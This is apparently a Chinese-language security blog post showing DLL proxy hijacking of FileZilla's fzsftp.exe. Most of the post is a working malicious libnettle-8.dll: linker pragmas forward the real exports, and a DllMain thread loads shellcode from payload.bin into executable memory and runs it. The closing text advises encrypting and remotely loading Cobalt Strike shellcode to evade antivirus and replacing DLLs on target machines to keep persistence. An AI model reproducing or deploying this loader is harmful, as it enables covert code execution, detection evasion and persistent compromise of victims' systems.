#pragma comment(linker, "/export:nettle_gcm_aes192_decrypt=tmp2BF5.nettle_gcm_aes192_decrypt,@250")
#pragma comment(linker, "/export:nettle_gcm_aes192_digest=tmp2BF5.nettle_gcm_aes192_digest,@251")
#pragma comment(linker, "/export:nettle_gcm_aes192_encrypt=tmp2BF5.nettle_gcm_aes192_encrypt,@252")
#pragma comment(linker, "/export:nettle_gcm_aes192_set_iv=tmp2BF5.nettle_gcm_aes192_set_iv,@253")
#pragma comment(linker, "/export:nettle_gcm_aes192_set_key=tmp2BF5.nettle_gcm_aes192_set_key,@254")
#pragma comment(linker, "/export:nettle_gcm_aes192_update=tmp2BF5.nettle_gcm_aes192_update,@255")
#pragma comment(linker, "/export:nettle_gcm_aes256=tmp2BF5.nettle_gcm_aes256,@256")
#pragma comment(linker, "/export:nettle_gcm_aes256_decrypt=tmp2BF5.nettle_gcm_aes256_decrypt,@257")
#pragma comment(linker, "/export:nettle_gcm_aes256_digest=tmp2BF5.nettle_gcm_aes256_digest,@258")
#pragma comment(linker, "/export:nettle_gcm_aes256_encrypt=tmp2BF5.nettle_gcm_aes256_encrypt,@259")
#pragma comment(linker, "/export:nettle_gcm_aes256_set_iv=tmp2BF5.nettle_gcm_aes256_set_iv,@260")
#pragma comment(linker, "/export:nettle_gcm_aes256_set_key=tmp2BF5.nettle_gcm_aes256_set_key,@261")
#pragma comment(linker, "/export:nettle_gcm_aes256_update=tmp2BF5.nettle_gcm_aes256_update,@262")
#pragma comment(linker, "/export:nettle_gcm_aes_decrypt=tmp2BF5.nettle_gcm_aes_decrypt,@263")
#pragma comment(linker, "/export:nettle_gcm_aes_digest=tmp2BF5.nettle_gcm_aes_digest,@264")
#pragma comment(linker, "/export:nettle_gcm_aes_encrypt=tmp2BF5.nettle_gcm_aes_encrypt,@265")
#pragma comment(linker, "/export:nettle_gcm_aes_set_iv=tmp2BF5.nettle_gcm_aes_set_iv,@266")
#pragma comment(linker, "/export:nettle_gcm_aes_set_key=tmp2BF5.nettle_gcm_aes_set_key,@267")
#pragma comment(linker, "/export:nettle_gcm_aes_update=tmp2BF5.nettle_gcm_aes_update,@268")
#pragma comment(linker, "/export:nettle_gcm_camellia128=tmp2BF5.nettle_gcm_camellia128,@269")
#pragma comment(linker, "/export:nettle_gcm_camellia128_decrypt=tmp2BF5.nettle_gcm_camellia128_decrypt,@270")
#pragma comment(linker, "/export:nettle_gcm_camellia128_digest=tmp2BF5.nettle_gcm_camellia128_digest,@271")
#pragma comment(linker, "/export:nettle_gcm_camellia128_encrypt=tmp2BF5.nettle_gcm_camellia128_encrypt,@272")
#pragma comment(linker, "/export:nettle_gcm_camellia128_set_iv=tmp2BF5.nettle_gcm_camellia128_set_iv,@273")
#pragma comment(linker, "/export:nettle_gcm_camellia128_set_key=tmp2BF5.nettle_gcm_camellia128_set_key,@274")
#pragma comment(linker, "/export:nettle_gcm_camellia128_update=tmp2BF5.nettle_gcm_camellia128_update,@275")
#pragma comment(linker, "/export:nettle_gcm_camellia256=tmp2BF5.nettle_gcm_camellia256,@276")
#pragma comment(linker, "/export:nettle_gcm_camellia256_decrypt=tmp2BF5.nettle_gcm_camellia256_decrypt,@277")
#pragma comment(linker, "/export:nettle_gcm_camellia256_digest=tmp2BF5.nettle_gcm_camellia256_digest,@278")
#pragma comment(linker, "/export:nettle_gcm_camellia256_encrypt=tmp2BF5.nettle_gcm_camellia256_encrypt,@279")
#pragma comment(linker, "/export:nettle_gcm_camellia256_set_iv=tmp2BF5.nettle_gcm_camellia256_set_iv,@280")
#pragma comment(linker, "/export:nettle_gcm_camellia256_set_key=tmp2BF5.nettle_gcm_camellia256_set_key,@281")
#pragma comment(linker, "/export:nettle_gcm_camellia256_update=tmp2BF5.nettle_gcm_camellia256_update,@282")
#pragma comment(linker, "/export:nettle_gcm_decrypt=tmp2BF5.nettle_gcm_decrypt,@283")
#pragma comment(linker, "/export:nettle_gcm_digest=tmp2BF5.nettle_gcm_digest,@284")
#pragma comment(linker, "/export:nettle_gcm_encrypt=tmp2BF5.nettle_gcm_encrypt,@285")
#pragma comment(linker, "/export:nettle_gcm_set_iv=tmp2BF5.nettle_gcm_set_iv,@286")
#pragma comment(linker, "/export:nettle_gcm_set_key=tmp2BF5.nettle_gcm_set_key,@287")
#pragma comment(linker, "/export:nettle_gcm_update=tmp2BF5.nettle_gcm_update,@288")
#pragma comment(linker, "/export:nettle_get_aeads=tmp2BF5.nettle_get_aeads,@289")
#pragma comment(linker, "/export:nettle_get_armors=tmp2BF5.nettle_get_armors,@290")
#pragma comment(linker, "/export:nettle_get_ciphers=tmp2BF5.nettle_get_ciphers,@291")
#pragma comment(linker, "/export:nettle_get_hashes=tmp2BF5.nettle_get_hashes,@292")
#pragma comment(linker, "/export:nettle_get_macs=tmp2BF5.nettle_get_macs,@293")
#pragma comment(linker, "/export:nettle_gosthash94=tmp2BF5.nettle_gosthash94,@294")
#pragma comment(linker, "/export:nettle_gosthash94_digest=tmp2BF5.nettle_gosthash94_digest,@295")
#pragma comment(linker, "/export:nettle_gosthash94_init=tmp2BF5.nettle_gosthash94_init,@296")
#pragma comment(linker, "/export:nettle_gosthash94_update=tmp2BF5.nettle_gosthash94_update,@297")
#pragma comment(linker, "/export:nettle_gosthash94cp=tmp2BF5.nettle_gosthash94cp,@298")
#pragma comment(linker, "/export:nettle_gosthash94cp_digest=tmp2BF5.nettle_gosthash94cp_digest,@299")
#pragma comment(linker, "/export:nettle_gosthash94cp_update=tmp2BF5.nettle_gosthash94cp_update,@300")
#pragma comment(linker, "/export:nettle_hkdf_expand=tmp2BF5.nettle_hkdf_expand,@301")
#pragma comment(linker, "/export:nettle_hkdf_extract=tmp2BF5.nettle_hkdf_extract,@302")
#pragma comment(linker, "/export:nettle_hmac_digest=tmp2BF5.nettle_hmac_digest,@303")
#pragma comment(linker, "/export:nettle_hmac_gosthash94_digest=tmp2BF5.nettle_hmac_gosthash94_digest,@304")
#pragma comment(linker, "/export:nettle_hmac_gosthash94_set_key=tmp2BF5.nettle_hmac_gosthash94_set_key,@305")
#pragma comment(linker, "/export:nettle_hmac_gosthash94_update=tmp2BF5.nettle_hmac_gosthash94_update,@306")
#pragma comment(linker, "/export:nettle_hmac_gosthash94cp_digest=tmp2BF5.nettle_hmac_gosthash94cp_digest,@307")
#pragma comment(linker, "/export:nettle_hmac_gosthash94cp_set_key=tmp2BF5.nettle_hmac_gosthash94cp_set_key,@308")
#pragma comment(linker, "/export:nettle_hmac_gosthash94cp_update=tmp2BF5.nettle_hmac_gosthash94cp_update,@309")
#pragma comment(linker, "/export:nettle_hmac_md5=tmp2BF5.nettle_hmac_md5,@310")
#pragma comment(linker, "/export:nettle_hmac_md5_digest=tmp2BF5.nettle_hmac_md5_digest,@311")
#pragma comment(linker, "/export:nettle_hmac_md5_set_key=tmp2BF5.nettle_hmac_md5_set_key,@312")
#pragma comment(linker, "/export:nettle_hmac_md5_update=tmp2BF5.nettle_hmac_md5_update,@313")
#pragma comment(linker, "/export:nettle_hmac_ripemd160=tmp2BF5.nettle_hmac_ripemd160,@314")
#pragma comment(linker, "/export:nettle_hmac_ripemd160_digest=tmp2BF5.nettle_hmac_ripemd160_digest,@315")
#pragma comment(linker, "/export:nettle_hmac_ripemd160_set_key=tmp2BF5.nettle_hmac_ripemd160_set_key,@316")
#pragma comment(linker, "/export:nettle_hmac_ripemd160_update=tmp2BF5.nettle_hmac_ripemd160_update,@317")
#pragma comment(linker, "/export:nettle_hmac_set_key=tmp2BF5.nettle_hmac_set_key,@318")
#pragma comment(linker, "/export:nettle_hmac_sha1=tmp2BF5.nettle_hmac_sha1,@319")
#pragma comment(linker, "/export:nettle_hmac_sha1_digest=tmp2BF5.nettle_hmac_sha1_digest,@320")
#pragma comment(linker, "/export:nettle_hmac_sha1_set_key=tmp2BF5.nettle_hmac_sha1_set_key,@321")
#pragma comment(linker, "/export:nettle_hmac_sha1_update=tmp2BF5.nettle_hmac_sha1_update,@322")
#pragma comment(linker, "/export:nettle_hmac_sha224=tmp2BF5.nettle_hmac_sha224,@323")
#pragma comment(linker, "/export:nettle_hmac_sha224_digest=tmp2BF5.nettle_hmac_sha224_digest,@324")
#pragma comment(linker, "/export:nettle_hmac_sha224_set_key=tmp2BF5.nettle_hmac_sha224_set_key,@325")
#pragma comment(linker, "/export:nettle_hmac_sha256=tmp2BF5.nettle_hmac_sha256,@326")
#pragma comment(linker, "/export:nettle_hmac_sha256_digest=tmp2BF5.nettle_hmac_sha256_digest,@327")
#pragma comment(linker, "/export:nettle_hmac_sha256_set_key=tmp2BF5.nettle_hmac_sha256_set_key,@328")
#pragma comment(linker, "/export:nettle_hmac_sha256_update=tmp2BF5.nettle_hmac_sha256_update,@329")
#pragma comment(linker, "/export:nettle_hmac_sha384=tmp2BF5.nettle_hmac_sha384,@330")
#pragma comment(linker, "/export:nettle_hmac_sha384_digest=tmp2BF5.nettle_hmac_sha384_digest,@331")
#pragma comment(linker, "/export:nettle_hmac_sha384_set_key=tmp2BF5.nettle_hmac_sha384_set_key,@332")
#pragma comment(linker, "/export:nettle_hmac_sha512=tmp2BF5.nettle_hmac_sha512,@333")
#pragma comment(linker, "/export:nettle_hmac_sha512_digest=tmp2BF5.nettle_hmac_sha512_digest,@334")
#pragma comment(linker, "/export:nettle_hmac_sha512_set_key=tmp2BF5.nettle_hmac_sha512_set_key,@335")
#pragma comment(linker, "/export:nettle_hmac_sha512_update=tmp2BF5.nettle_hmac_sha512_update,@336")
#pragma comment(linker, "/export:nettle_hmac_update=tmp2BF5.nettle_hmac_update,@337")
#pragma comment(linker, "/export:nettle_knuth_lfib_get=tmp2BF5.nettle_knuth_lfib_get,@338")
#pragma comment(linker, "/export:nettle_knuth_lfib_get_array=tmp2BF5.nettle_knuth_lfib_get_array,@339")
#pragma comment(linker, "/export:nettle_knuth_lfib_init=tmp2BF5.nettle_knuth_lfib_init,@340")
#pragma comment(linker, "/export:nettle_knuth_lfib_random=tmp2BF5.nettle_knuth_lfib_random,@341")
#pragma comment(linker, "/export:nettle_lookup_hash=tmp2BF5.nettle_lookup_hash,@342")
#pragma comment(linker, "/export:nettle_md2=tmp2BF5.nettle_md2,@343")
#pragma comment(linker, "/export:nettle_md2_digest=tmp2BF5.nettle_md2_digest,@344")
#pragma comment(linker, "/export:nettle_md2_init=tmp2BF5.nettle_md2_init,@345")
#pragma comment(linker, "/export:nettle_md2_update=tmp2BF5.nettle_md2_update,@346")
#pragma comment(linker, "/export:nettle_md4=tmp2BF5.nettle_md4,@347")
#pragma comment(linker, "/export:nettle_md4_digest=tmp2BF5.nettle_md4_digest,@348")
#pragma comment(linker, "/export:nettle_md4_init=tmp2BF5.nettle_md4_init,@349")
#pragma comment(linker, "/export:nettle_md4_update=tmp2BF5.nettle_md4_update,@350")
#pragma comment(linker, "/export:nettle_md5=tmp2BF5.nettle_md5,@351")
#pragma comment(linker, "/export:nettle_md5_compress=tmp2BF5.nettle_md5_compress,@352")
#pragma comment(linker, "/export:nettle_md5_digest=tmp2BF5.nettle_md5_digest,@353")
#pragma comment(linker, "/export:nettle_md5_init=tmp2BF5.nettle_md5_init,@354")
#pragma comment(linker, "/export:nettle_md5_update=tmp2BF5.nettle_md5_update,@355")
#pragma comment(linker, "/export:nettle_memeql_sec=tmp2BF5.nettle_memeql_sec,@356")
#pragma comment(linker, "/export:nettle_memxor=tmp2BF5.nettle_memxor,@357")
#pragma comment(linker, "/export:nettle_memxor3=tmp2BF5.nettle_memxor3,@358")
#pragma comment(linker, "/export:nettle_pbkdf2=tmp2BF5.nettle_pbkdf2,@359")
#pragma comment(linker, "/export:nettle_pbkdf2_hmac_gosthash94cp=tmp2BF5.nettle_pbkdf2_hmac_gosthash94cp,@360")
#pragma comment(linker, "/export:nettle_pbkdf2_hmac_sha1=tmp2BF5.nettle_pbkdf2_hmac_sha1,@361")
#pragma comment(linker, "/export:nettle_pbkdf2_hmac_sha256=tmp2BF5.nettle_pbkdf2_hmac_sha256,@362")
#pragma comment(linker, "/export:nettle_poly1305_aes_digest=tmp2BF5.nettle_poly1305_aes_digest,@363")
#pragma comment(linker, "/export:nettle_poly1305_aes_set_key=tmp2BF5.nettle_poly1305_aes_set_key,@364")
#pragma comment(linker, "/export:nettle_poly1305_aes_set_nonce=tmp2BF5.nettle_poly1305_aes_set_nonce,@365")
#pragma comment(linker, "/export:nettle_poly1305_aes_update=tmp2BF5.nettle_poly1305_aes_update,@366")
#pragma comment(linker, "/export:nettle_realloc=tmp2BF5.nettle_realloc,@367")
#pragma comment(linker, "/export:nettle_ripemd160=tmp2BF5.nettle_ripemd160,@368")
#pragma comment(linker, "/export:nettle_ripemd160_digest=tmp2BF5.nettle_ripemd160_digest,@369")
#pragma comment(linker, "/export:nettle_ripemd160_init=tmp2BF5.nettle_ripemd160_init,@370")
#pragma comment(linker, "/export:nettle_ripemd160_update=tmp2BF5.nettle_ripemd160_update,@371")
#pragma comment(linker, "/export:nettle_salsa20_128_set_key=tmp2BF5.nettle_salsa20_128_set_key,@372")
#pragma comment(linker, "/export:nettle_salsa20_256_set_key=tmp2BF5.nettle_salsa20_256_set_key,@373")
#pragma comment(linker, "/export:nettle_salsa20_crypt=tmp2BF5.nettle_salsa20_crypt,@374")
#pragma comment(linker, "/export:nettle_salsa20_set_key=tmp2BF5.nettle_salsa20_set_key,@375")
#pragma comment(linker, "/export:nettle_salsa20_set_nonce=tmp2BF5.nettle_salsa20_set_nonce,@376")
#pragma comment(linker, "/export:nettle_salsa20r12_crypt=tmp2BF5.nettle_salsa20r12_crypt,@377")
#pragma comment(linker, "/export:nettle_serpent128=tmp2BF5.nettle_serpent128,@378")
#pragma comment(linker, "/export:nettle_serpent128_set_key=tmp2BF5.nettle_serpent128_set_key,@379")
#pragma comment(linker, "/export:nettle_serpent192=tmp2BF5.nettle_serpent192,@380")
#pragma comment(linker, "/export:nettle_serpent192_set_key=tmp2BF5.nettle_serpent192_set_key,@381")
#pragma comment(linker, "/export:nettle_serpent256=tmp2BF5.nettle_serpent256,@382")
#pragma comment(linker, "/export:nettle_serpent256_set_key=tmp2BF5.nettle_serpent256_set_key,@383")
#pragma comment(linker, "/export:nettle_serpent_decrypt=tmp2BF5.nettle_serpent_decrypt,@384")
#pragma comment(linker, "/export:nettle_serpent_encrypt=tmp2BF5.nettle_serpent_encrypt,@385")
#pragma comment(linker, "/export:nettle_serpent_set_key=tmp2BF5.nettle_serpent_set_key,@386")
#pragma comment(linker, "/export:nettle_sha1=tmp2BF5.nettle_sha1,@387")
#pragma comment(linker, "/export:nettle_sha1_compress=tmp2BF5.nettle_sha1_compress,@388")
#pragma comment(linker, "/export:nettle_sha1_digest=tmp2BF5.nettle_sha1_digest,@389")
#pragma comment(linker, "/export:nettle_sha1_init=tmp2BF5.nettle_sha1_init,@390")
#pragma comment(linker, "/export:nettle_sha1_update=tmp2BF5.nettle_sha1_update,@391")
#pragma comment(linker, "/export:nettle_sha224=tmp2BF5.nettle_sha224,@392")
#pragma comment(linker, "/export:nettle_sha224_digest=tmp2BF5.nettle_sha224_digest,@393")
#pragma comment(linker, "/export:nettle_sha224_init=tmp2BF5.nettle_sha224_init,@394")
#pragma comment(linker, "/export:nettle_sha256=tmp2BF5.nettle_sha256,@395")
#pragma comment(linker, "/export:nettle_sha256_digest=tmp2BF5.nettle_sha256_digest,@396")
#pragma comment(linker, "/export:nettle_sha256_init=tmp2BF5.nettle_sha256_init,@397")
#pragma comment(linker, "/export:nettle_sha256_update=tmp2BF5.nettle_sha256_update,@398")
#pragma comment(linker, "/export:nettle_sha384=tmp2BF5.nettle_sha384,@399")
#pragma comment(linker, "/export:nettle_sha384_digest=tmp2BF5.nettle_sha384_digest,@400")
#pragma comment(linker, "/export:nettle_sha384_init=tmp2BF5.nettle_sha384_init,@401")
#pragma comment(linker, "/export:nettle_sha3_224=tmp2BF5.nettle_sha3_224,@402")
#pragma comment(linker, "/export:nettle_sha3_224_digest=tmp2BF5.nettle_sha3_224_digest,@403")
#pragma comment(linker, "/export:nettle_sha3_224_init=tmp2BF5.nettle_sha3_224_init,@404")
#pragma comment(linker, "/export:nettle_sha3_224_update=tmp2BF5.nettle_sha3_224_update,@405")
#pragma comment(linker, "/export:nettle_sha3_256=tmp2BF5.nettle_sha3_256,@406")
#pragma comment(linker, "/export:nettle_sha3_256_digest=tmp2BF5.nettle_sha3_256_digest,@407")
#pragma comment(linker, "/export:nettle_sha3_256_init=tmp2BF5.nettle_sha3_256_init,@408")
#pragma comment(linker, "/export:nettle_sha3_256_shake=tmp2BF5.nettle_sha3_256_shake,@409")
#pragma comment(linker, "/export:nettle_sha3_256_update=tmp2BF5.nettle_sha3_256_update,@410")
#pragma comment(linker, "/export:nettle_sha3_384=tmp2BF5.nettle_sha3_384,@411")
#pragma comment(linker, "/export:nettle_sha3_384_digest=tmp2BF5.nettle_sha3_384_digest,@412")
#pragma comment(linker, "/export:nettle_sha3_384_init=tmp2BF5.nettle_sha3_384_init,@413")
#pragma comment(linker, "/export:nettle_sha3_384_update=tmp2BF5.nettle_sha3_384_update,@414")
#pragma comment(linker, "/export:nettle_sha3_512=tmp2BF5.nettle_sha3_512,@415")
#pragma comment(linker, "/export:nettle_sha3_512_digest=tmp2BF5.nettle_sha3_512_digest,@416")
#pragma comment(linker, "/export:nettle_sha3_512_init=tmp2BF5.nettle_sha3_512_init,@417")
#pragma comment(linker, "/export:nettle_sha3_512_update=tmp2BF5.nettle_sha3_512_update,@418")
#pragma comment(linker, "/export:nettle_sha3_permute=tmp2BF5.nettle_sha3_permute,@419")
#pragma comment(linker, "/export:nettle_sha512=tmp2BF5.nettle_sha512,@420")
#pragma comment(linker, "/export:nettle_sha512_224=tmp2BF5.nettle_sha512_224,@421")
#pragma comment(linker, "/export:nettle_sha512_224_digest=tmp2BF5.nettle_sha512_224_digest,@422")
#pragma comment(linker, "/export:nettle_sha512_224_init=tmp2BF5.nettle_sha512_224_init,@423")
#pragma comment(linker, "/export:nettle_sha512_256=tmp2BF5.nettle_sha512_256,@424")
#pragma comment(linker, "/export:nettle_sha512_256_digest=tmp2BF5.nettle_sha512_256_digest,@425")
#pragma comment(linker, "/export:nettle_sha512_256_init=tmp2BF5.nettle_sha512_256_init,@426")
#pragma comment(linker, "/export:nettle_sha512_digest=tmp2BF5.nettle_sha512_digest,@427")
#pragma comment(linker, "/export:nettle_sha512_init=tmp2BF5.nettle_sha512_init,@428")
#pragma comment(linker, "/export:nettle_sha512_update=tmp2BF5.nettle_sha512_update,@429")
#pragma comment(linker, "/export:nettle_siv_cmac_aes128_decrypt_message=tmp2BF5.nettle_siv_cmac_aes128_decrypt_message,@430")
#pragma comment(linker, "/export:nettle_siv_cmac_aes128_encrypt_message=tmp2BF5.nettle_siv_cmac_aes128_encrypt_message,@431")
#pragma comment(linker, "/export:nettle_siv_cmac_aes128_set_key=tmp2BF5.nettle_siv_cmac_aes128_set_key,@432")
#pragma comment(linker, "/export:nettle_siv_cmac_aes256_decrypt_message=tmp2BF5.nettle_siv_cmac_aes256_decrypt_message,@433")
#pragma comment(linker, "/export:nettle_siv_cmac_aes256_encrypt_message=tmp2BF5.nettle_siv_cmac_aes256_encrypt_message,@434")
#pragma comment(linker, "/export:nettle_siv_cmac_aes256_set_key=tmp2BF5.nettle_siv_cmac_aes256_set_key,@435")
#pragma comment(linker, "/export:nettle_siv_cmac_decrypt_message=tmp2BF5.nettle_siv_cmac_decrypt_message,@436")
#pragma comment(linker, "/export:nettle_siv_cmac_encrypt_message=tmp2BF5.nettle_siv_cmac_encrypt_message,@437")
#pragma comment(linker, "/export:nettle_siv_cmac_set_key=tmp2BF5.nettle_siv_cmac_set_key,@438")
#pragma comment(linker, "/export:nettle_twofish128=tmp2BF5.nettle_twofish128,@439")
#pragma comment(linker, "/export:nettle_twofish128_set_key=tmp2BF5.nettle_twofish128_set_key,@440")
#pragma comment(linker, "/export:nettle_twofish192=tmp2BF5.nettle_twofish192,@441")
#pragma comment(linker, "/export:nettle_twofish192_set_key=tmp2BF5.nettle_twofish192_set_key,@442")
#pragma comment(linker, "/export:nettle_twofish256=tmp2BF5.nettle_twofish256,@443")
#pragma comment(linker, "/export:nettle_twofish256_set_key=tmp2BF5.nettle_twofish256_set_key,@444")
#pragma comment(linker, "/export:nettle_twofish_decrypt=tmp2BF5.nettle_twofish_decrypt,@445")
#pragma comment(linker, "/export:nettle_twofish_encrypt=tmp2BF5.nettle_twofish_encrypt,@446")
#pragma comment(linker, "/export:nettle_twofish_set_key=tmp2BF5.nettle_twofish_set_key,@447")
#pragma comment(linker, "/export:nettle_umac128_digest=tmp2BF5.nettle_umac128_digest,@448")
#pragma comment(linker, "/export:nettle_umac128_set_key=tmp2BF5.nettle_umac128_set_key,@449")
#pragma comment(linker, "/export:nettle_umac128_set_nonce=tmp2BF5.nettle_umac128_set_nonce,@450")
#pragma comment(linker, "/export:nettle_umac128_update=tmp2BF5.nettle_umac128_update,@451")
#pragma comment(linker, "/export:nettle_umac32_digest=tmp2BF5.nettle_umac32_digest,@452")
#pragma comment(linker, "/export:nettle_umac32_set_key=tmp2BF5.nettle_umac32_set_key,@453")
#pragma comment(linker, "/export:nettle_umac32_set_nonce=tmp2BF5.nettle_umac32_set_nonce,@454")
#pragma comment(linker, "/export:nettle_umac32_update=tmp2BF5.nettle_umac32_update,@455")
#pragma comment(linker, "/export:nettle_umac64_digest=tmp2BF5.nettle_umac64_digest,@456")
#pragma comment(linker, "/export:nettle_umac64_set_key=tmp2BF5.nettle_umac64_set_key,@457")
#pragma comment(linker, "/export:nettle_umac64_set_nonce=tmp2BF5.nettle_umac64_set_nonce,@458")
#pragma comment(linker, "/export:nettle_umac64_update=tmp2BF5.nettle_umac64_update,@459")
#pragma comment(linker, "/export:nettle_umac96_digest=tmp2BF5.nettle_umac96_digest,@460")
#pragma comment(linker, "/export:nettle_umac96_set_key=tmp2BF5.nettle_umac96_set_key,@461")
#pragma comment(linker, "/export:nettle_umac96_set_nonce=tmp2BF5.nettle_umac96_set_nonce,@462")
#pragma comment(linker, "/export:nettle_umac96_update=tmp2BF5.nettle_umac96_update,@463")
#pragma comment(linker, "/export:nettle_version_major=tmp2BF5.nettle_version_major,@464")
#pragma comment(linker, "/export:nettle_version_minor=tmp2BF5.nettle_version_minor,@465")
#pragma comment(linker, "/export:nettle_xrealloc=tmp2BF5.nettle_xrealloc,@466")
#pragma comment(linker, "/export:nettle_xts_aes128_decrypt_message=tmp2BF5.nettle_xts_aes128_decrypt_message,@467")
#pragma comment(linker, "/export:nettle_xts_aes128_encrypt_message=tmp2BF5.nettle_xts_aes128_encrypt_message,@468")
#pragma comment(linker, "/export:nettle_xts_aes128_set_decrypt_key=tmp2BF5.nettle_xts_aes128_set_decrypt_key,@469")
#pragma comment(linker, "/export:nettle_xts_aes128_set_encrypt_key=tmp2BF5.nettle_xts_aes128_set_encrypt_key,@470")
#pragma comment(linker, "/export:nettle_xts_aes256_decrypt_message=tmp2BF5.nettle_xts_aes256_decrypt_message,@471")
#pragma comment(linker, "/export:nettle_xts_aes256_encrypt_message=tmp2BF5.nettle_xts_aes256_encrypt_message,@472")
#pragma comment(linker, "/export:nettle_xts_aes256_set_decrypt_key=tmp2BF5.nettle_xts_aes256_set_decrypt_key,@473")
#pragma comment(linker, "/export:nettle_xts_aes256_set_encrypt_key=tmp2BF5.nettle_xts_aes256_set_encrypt_key,@474")
#pragma comment(linker, "/export:nettle_xts_decrypt_message=tmp2BF5.nettle_xts_decrypt_message,@475")
#pragma comment(linker, "/export:nettle_xts_encrypt_message=tmp2BF5.nettle_xts_encrypt_message,@476")
#pragma comment(linker, "/export:nettle_yarrow256_fast_reseed=tmp2BF5.nettle_yarrow256_fast_reseed,@477")
#pragma comment(linker, "/export:nettle_yarrow256_init=tmp2BF5.nettle_yarrow256_init,@478")
#pragma comment(linker, "/export:nettle_yarrow256_is_seeded=tmp2BF5.nettle_yarrow256_is_seeded,@479")
#pragma comment(linker, "/export:nettle_yarrow256_needed_sources=tmp2BF5.nettle_yarrow256_needed_sources,@480")
#pragma comment(linker, "/export:nettle_yarrow256_random=tmp2BF5.nettle_yarrow256_random,@481")
#pragma comment(linker, "/export:nettle_yarrow256_seed=tmp2BF5.nettle_yarrow256_seed,@482")
#pragma comment(linker, "/export:nettle_yarrow256_slow_reseed=tmp2BF5.nettle_yarrow256_slow_reseed,@483")
#pragma comment(linker, "/export:nettle_yarrow256_update=tmp2BF5.nettle_yarrow256_update,@484")
#pragma comment(linker, "/export:nettle_yarrow_key_event_estimate=tmp2BF5.nettle_yarrow_key_event_estimate,@485")
#pragma comment(linker, "/export:nettle_yarrow_key_event_init=tmp2BF5.nettle_yarrow_key_event_init,@486")


DWORD WINAPI DoMagic(LPVOID lpParameter)
{
//https://stackoverflow.com/questions/14002954/c-programming-how-to-read-the-whole-file-contents-into-a-buffer
FILE* fp;
size_t size;
unsigned char* buffer;

fp = fopen("payload.bin", "rb");
fseek(fp, 0, SEEK_END);
size = ftell(fp);
fseek(fp, 0, SEEK_SET);
buffer = (unsigned char*)malloc(size);

//https://ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources
fread(buffer, size, 1, fp);

void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

memcpy(exec, buffer, size);

((void(*) ())exec)();

return 0;

}

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
HANDLE threadHandle;

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// https://gist.github.com/securitytube/c956348435cc90b8e1f7
// Create a thread and close the handle as we do not want to use it to wait for it
threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
CloseHandle(threadHandle);

case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;

}

Domagic函数从payload.bin中读取shellcode,之后使用virtualmalloc和malloc函数分配相应大小的内存空间,再将指针指向对应的空间执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
DWORD WINAPI DoMagic(LPVOID lpParameter)
{
//https://stackoverflow.com/questions/14002954/c-programming-how-to-read-the-whole-file-contents-into-a-buffer
FILE* fp;
size_t size;
unsigned char* buffer;

fp = fopen("payload.bin", "rb");
fseek(fp, 0, SEEK_END);
size = ftell(fp);
fseek(fp, 0, SEEK_SET);
buffer = (unsigned char*)malloc(size);

//https://ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources
fread(buffer, size, 1, fp);

void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

memcpy(exec, buffer, size);

((void(*) ())exec)();

return 0;

}

Dllmain函数为dll函数的入口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
HANDLE threadHandle;

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// https://gist.github.com/securitytube/c956348435cc90b8e1f7
// Create a thread and close the handle as we do not want to use it to wait for it
threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
CloseHandle(threadHandle);

case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;

}

原文章的原理如下图

A:fzsftp.exe

B:tmp2BF5.dll(正常的libnettle-8.dll文件)

C:恶意libnettle-8.dll

E:payload.bin 存储shellcode

imgbed.cn图床

实际操作中用cs直接生成的shellcode已经被杀软识别,因此免杀效果很差,将shellcode分离后远程加载并进行加密后才可以实现免杀。在实战中可以根据目标机器上安装的软件生成dll文件并替换,实现权限维持

参考

https://cloud.tencent.com/developer/article/1739263

https://github.com/Flangvik/SharpDllProxy

https://gist.github.com/securitytube/c956348435cc90b8e1f7


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!